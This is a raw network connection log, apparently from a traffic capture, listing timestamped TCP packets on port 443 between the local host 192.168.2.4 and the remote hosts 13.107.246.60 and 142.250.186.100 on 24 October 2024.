Oct 24, 2024 16:05:31.586994886 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.587019920 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.587028980 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.587171078 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.587196112 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.587302923 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.587424994 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.587483883 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.587483883 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.587513924 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.587542057 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.589441061 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.589462996 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.589529037 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.589623928 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.589643955 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.078691959 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.079210043 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.079279900 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.079848051 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.079869986 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.212476969 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.212680101 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.212846994 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.212846994 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.212846994 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.214309931 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.214761972 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.214822054 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.215214014 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.215228081 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.215703011 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.215749979 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.215815067 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.215970039 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.215997934 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.330915928 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.331379890 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.331444025 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.331871033 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.331924915 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.334988117 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.335381985 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.335491896 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.335796118 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.335813046 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.348081112 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.348252058 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.348356009 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.348439932 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.348439932 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.348484039 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.348514080 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.350764036 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.350791931 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.350894928 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.351008892 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.351018906 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.459676027 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.460048914 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.460264921 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.461709023 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.461751938 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.461805105 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.461822987 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.465338945 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.465384007 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.465514898 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.465749025 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.465914011 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.465967894 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.466023922 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.466042995 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.466331959 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.466331959 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.466351986 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.466375113 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.468326092 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.468360901 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.468929052 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.469232082 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.469242096 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.515254974 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.515280962 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.767857075 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.768379927 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.768402100 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.768846035 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.768852949 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.942491055 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.942574978 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.942683935 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.942780018 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.942804098 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.942819118 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.942826986 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.945489883 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.945564985 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.945641041 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.945797920 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.945816994 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.967072964 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.967473984 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.967488050 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:32.967997074 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:32.968003035 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.103773117 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.103960037 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.104016066 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.104062080 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.104077101 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.104088068 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.104094028 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.107115984 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.107208967 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.107300997 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.107451916 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.107476950 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.196682930 CEST	49853	443	192.168.2.4	142.250.186.100
Oct 24, 2024 16:05:33.196732998 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:33.196902037 CEST	49853	443	192.168.2.4	142.250.186.100
Oct 24, 2024 16:05:33.197104931 CEST	49853	443	192.168.2.4	142.250.186.100
Oct 24, 2024 16:05:33.197134972 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:33.210961103 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.211570978 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.211585045 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.212160110 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.212165117 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.216411114 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.216835976 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.216896057 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.217374086 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.217386961 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.340287924 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.340989113 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.341069937 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.341221094 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.341221094 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.341238022 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.341247082 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.346594095 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.346635103 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.346741915 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.346977949 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.346990108 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.349549055 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.349776983 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.349872112 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.350059032 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.350079060 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.354779005 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.354866028 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.354933977 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.355456114 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.355494976 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.713140011 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.713682890 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.713747978 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.714570045 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.714590073 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.857551098 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.857618093 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.857819080 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.857999086 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.858022928 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.858037949 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.858047009 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.864708900 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.864797115 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.864883900 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.865484953 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.865566969 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.865623951 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.866127968 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.866189003 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:33.866744041 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:33.866759062 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.001669884 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.001812935 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.001990080 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.010706902 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.010706902 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.010751009 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.010797024 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.025316954 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.025365114 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.025599957 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.025948048 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.025979996 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.054388046 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:34.054821968 CEST	49853	443	192.168.2.4	142.250.186.100
Oct 24, 2024 16:05:34.054871082 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:34.055377007 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:34.056019068 CEST	49853	443	192.168.2.4	142.250.186.100
Oct 24, 2024 16:05:34.056103945 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:34.108797073 CEST	49853	443	192.168.2.4	142.250.186.100
Oct 24, 2024 16:05:34.140805960 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.141546965 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.141607046 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.142198086 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.142211914 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.143568039 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.143879890 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.143924952 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.144217014 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.144223928 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.169723988 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.170053005 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.170075893 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.170811892 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.170816898 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.275537968 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.275553942 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.275599957 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.275626898 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.275671959 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.275876999 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.275876999 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.275912046 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.275938034 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.278685093 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.278774023 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.278851986 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.278990030 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.279026031 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.281301022 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.281475067 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.281541109 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.281589985 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.281615019 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.281641960 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.281655073 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.283782005 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.283823967 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.283902884 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.284055948 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.284080029 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.308001041 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.308152914 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.308331966 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.308358908 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.308358908 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.308372974 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.308379889 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.310633898 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.310678005 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.310755014 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.310887098 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.310899019 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.619045973 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.619848013 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.619906902 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.621045113 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.621057987 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.752579927 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.752724886 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.752831936 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.753469944 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.753511906 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.753546953 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.753563881 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.760725021 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.760776997 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.761070013 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.761478901 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.761502028 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.789969921 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.790678024 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.790735960 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.791697979 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.791712046 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.924776077 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.924841881 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.924990892 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.925069094 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.925537109 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.925580025 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.930253983 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.930291891 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:34.930541039 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.930924892 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:34.930944920 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.019901991 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.020551920 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.020631075 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.021522045 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.021536112 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.037754059 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.038211107 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.038270950 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.039239883 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.039253950 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.045064926 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.045356989 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.045368910 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.046245098 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.046251059 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.152277946 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.152307987 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.152358055 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.152374029 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.152483940 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.152980089 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.152980089 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.153014898 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.153037071 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.158555031 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.158590078 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.158857107 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.159049988 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.159063101 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.172113895 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.172138929 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.172202110 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.172202110 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.172250986 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.172523975 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.172561884 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.172591925 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.172607899 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.173521996 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.173687935 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.173748016 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.173940897 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.173957109 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.173980951 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.173989058 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.177078962 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.177120924 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.177265882 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.177890062 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:35.177903891 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:35.178570986 CEST	49865	443	192.168.2.4	13.107.246.60
